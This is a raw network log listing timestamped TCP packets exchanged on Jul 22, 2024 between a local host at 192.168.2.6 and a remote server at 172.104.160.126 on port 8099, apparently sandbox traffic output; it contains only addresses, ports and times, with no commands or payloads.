Jul 22, 2024 15:57:48.441140890 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441152096 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441174030 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441237926 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441308975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441359043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441391945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441426039 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441452980 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441490889 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441703081 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441735983 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441768885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441823006 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.441905975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441956997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.441963911 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.493287086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.528847933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.528879881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.528914928 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.528958082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.528975010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.528991938 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529028893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529195070 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529227972 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529259920 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529261112 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529335976 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529517889 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529551029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529584885 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529613018 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529617071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529649973 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529684067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529702902 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529742956 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.529880047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529911995 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529944897 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529979944 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.529998064 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530030966 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530296087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530328989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530363083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530390024 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530395031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530427933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530459881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530461073 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530493021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530522108 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530790091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530822992 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530854940 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530880928 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530889988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530915976 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.530924082 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530956984 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.530997038 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.571527958 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.926398993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926419020 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926434040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926529884 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926562071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926561117 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.926595926 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926609039 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.926630974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926691055 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.926906109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926939011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.926968098 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.926971912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927005053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927037954 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927069902 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927073956 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927094936 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927373886 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927406073 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927438974 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927459002 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927470922 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927499056 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927505970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927539110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927571058 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927589893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927603006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927634001 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927635908 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927669048 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927705050 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.927723885 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.927758932 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928276062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928307056 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928340912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928373098 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928395987 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928406000 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928436995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928437948 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928477049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928524971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928534031 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928558111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928580999 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928590059 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928623915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928656101 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.928679943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.928714037 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929403067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929435968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929469109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929502010 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929527998 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929534912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929569006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929574013 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929601908 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929636002 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929656029 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929666996 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929693937 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929702997 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929734945 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929768085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.929790020 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.929819107 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930246115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930294991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930326939 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930357933 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930389881 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930396080 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930424929 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930433989 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930457115 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930480957 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930491924 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930524111 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930557966 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930577040 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930591106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.930614948 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.930625916 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931106091 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931139946 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931171894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931180000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.931205988 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931236982 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.931237936 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931257963 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.931271076 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931298018 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.931322098 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.931348085 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.933729887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933763027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933795929 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933830023 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.933870077 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933902025 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933934927 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933959961 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.933969021 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.933996916 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934032917 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934171915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934204102 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934227943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934237003 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934262037 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934269905 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934303045 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934335947 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934359074 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934369087 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934396029 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934410095 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934775114 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934807062 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934838057 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934858084 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.934910059 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934942961 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934977055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.934999943 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935110092 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935142040 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935194016 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935201883 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935226917 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935252905 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935260057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935292006 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935327053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935348034 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935359001 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935380936 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935391903 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935425043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935461044 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935480118 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935493946 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935513973 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.935525894 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935559034 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.935612917 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936007977 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936041117 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936064005 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936073065 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936105967 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936137915 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936161995 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936171055 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936199903 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936203003 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936237097 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936269045 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936289072 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936300993 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936322927 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936333895 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936367989 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936399937 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936424017 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936434031 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936456919 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936855078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936889887 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.936945915 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.936999083 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937033892 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937057018 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937066078 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937098980 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937130928 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937161922 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937164068 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937196970 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937199116 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937483072 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937514067 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937539101 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937546968 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937572956 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937580109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937612057 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937645912 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937666893 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937678099 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937702894 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937711954 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937745094 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937777042 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.937798977 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937833071 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.937978029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938010931 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938044071 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938076019 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938097000 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938108921 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938132048 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938143015 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938177109 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938229084 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938534975 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938566923 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938591957 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938599110 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938632011 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938666105 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938687086 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938698053 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938720942 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938731909 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938765049 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938797951 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938817024 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938829899 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938852072 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938862085 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938895941 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938929081 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938949108 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.938961029 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.938982010 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939385891 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939435005 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939467907 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939490080 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939501047 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939523935 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939533949 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939568043 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939599991 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939623117 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939632893 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939659119 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939665079 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939697027 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939730883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939750910 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939764023 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939786911 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.939795971 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939827919 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.939878941 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940423012 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940457106 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940505981 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940507889 CEST	49717	8099	192.168.2.6	172.104.160.126
Jul 22, 2024 15:57:48.940538883 CEST	8099	49717	172.104.160.126	192.168.2.6
Jul 22, 2024 15:57:48.940571070 CEST	8099	49717	172.104.160.126	192.168.2.6
